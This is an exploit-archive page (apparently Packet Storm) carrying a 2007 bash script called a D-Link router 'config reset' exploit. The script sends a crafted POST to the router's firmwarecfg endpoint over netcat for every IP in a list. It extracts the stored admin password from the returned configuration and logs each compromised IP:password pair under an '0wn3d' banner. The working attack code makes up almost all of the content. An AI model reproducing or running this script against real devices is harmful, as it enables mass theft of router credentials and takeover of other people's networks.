exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

dlink.txt

dlink.txt
Posted Dec 18, 2007
Authored by Ph3mt

Remote reset exploit for the D-Link Wireless Router.

tags | exploit, remote
SHA-256 | 4bfa487aad947f3449803fa97e7cce9142e7131db6117065bce0eaa83222a2f2

dlink.txt

Change Mirror Download
# !/bin/bash
# Coded Bt Ph3mt Of K-Security Team
# This Code is private, pls do not redistribute
# Release Date 25/11/2007
# Code

function dow {
echo 'POST /cgi-bin/firmwarecfg HTTP/1.1' >> richiesta
echo 'Host: $IP' >> richiesta
echo 'User-Agent: veryprivateacsor' >> richiesta
echo 'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5' >> richiesta
echo 'Accept-Language: en-us,en;q=0.5' >> richiesta
echo 'Accept-Encoding: gzip,deflate' >> richiesta
echo 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' >> richiesta
echo 'Keep-Alive: 300' >> richiesta
echo 'Connection: keep-alive' >> richiesta
echo 'Content-Type: multipart/form-data; ' >> richiesta
echo 'boundary=---------------------------41184676334' >> richiesta
echo 'Content-Length: 234' >> richiesta
echo '' >> richiesta
echo '-----------------------------41184676334' >> richiesta
echo 'Content-Disposition: form-data; name="config.x"' >> richiesta
echo '' >> richiesta
echo '' >> richiesta
echo '-----------------------------41184676334' >> richiesta
echo 'Content-Disposition: form-data; name="config.y"' >> richiesta
echo '' >> richiesta
echo '' >> richiesta
echo '-----------------------------41184676334--' >> richiesta
echo ' ' >> richiesta
}

function req {
cat richiesta | nc $IP 80 -w 5 | grep password > $IP.config.xml
clean="`awk -F '<' '{print $54 }' $IP.config.xml | cut -d '>' -f2 | cut -d ' ' -f1`"
if [ `wc -c $IP.config.xml | cut -c1` != 0 ]; then
echo -e "\033[1;32m 0wn3d ;] \033[1;37m $IP:$clean \033[0m"
echo $IP:$clean >> 0wNz
rm $IP.config.xml
else echo -e "\033[1;31m $IP Patchato... \033[0m"
rm $IP.config.xml
fi
}

function logo {
echo -e "\033[1;37m*************************************************************************"
echo -e "\033[1;34m| |/ _| / _____/ ____ ____ __ _________|__|/ |_ ___.__.\033[0m"
echo -e "\033[1;34m| < ______ \_____ \_/ __ \_/ ___\| | \_ __ \ \ __< | |\033[0m"
echo -e "\033[1;34m| | \ /_____/ / \ ___/\ \___| | /| | \/ || | \___ |\033[0m"
echo -e "\033[1;34m|____|__ \ /_______ /\___ >\___ >____/ |__| |__||__| / ____|\033[0m"
echo -e "\033[1;34m \/ \/ \/ \/ \/ \033[0m"
echo -e "\033[1;37m*************************************************************************"
echo ""
echo "D-Link Config Reset Exploit By Ph3mt Avviato ;] Attendi..."
}

if [ -z "$1" ]; then
echo -e "\033[1;37m*************************************************************************"
echo -e "\033[1;34m| |/ _| / _____/ ____ ____ __ _________|__|/ |_ ___.__.\033[0m"
echo -e "\033[1;34m| < ______ \_____ \_/ __ \_/ ___\| | \_ __ \ \ __< | |\033[0m"
echo -e "\033[1;34m| | \ /_____/ / \ ___/\ \___| | /| | \/ || | \___ |\033[0m"
echo -e "\033[1;34m|____|__ \ /_______ /\___ >\___ >____/ |__| |__||__| / ____|\033[0m"
echo -e "\033[1;34m \/ \/ \/ \/ \/ \033[0m"
echo -e "\033[1;37m*************************************************************************"
echo ""
echo "D-Link Config Reset Exploit By Ph3mt ;]"
echo "Usage ./dlink <Lista|Ip>"
else

logo
for LINE in `cat $1`; do IP=`echo $LINE |cut -d ":" -f1`; dow; req; rm richiesta; done

fi

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close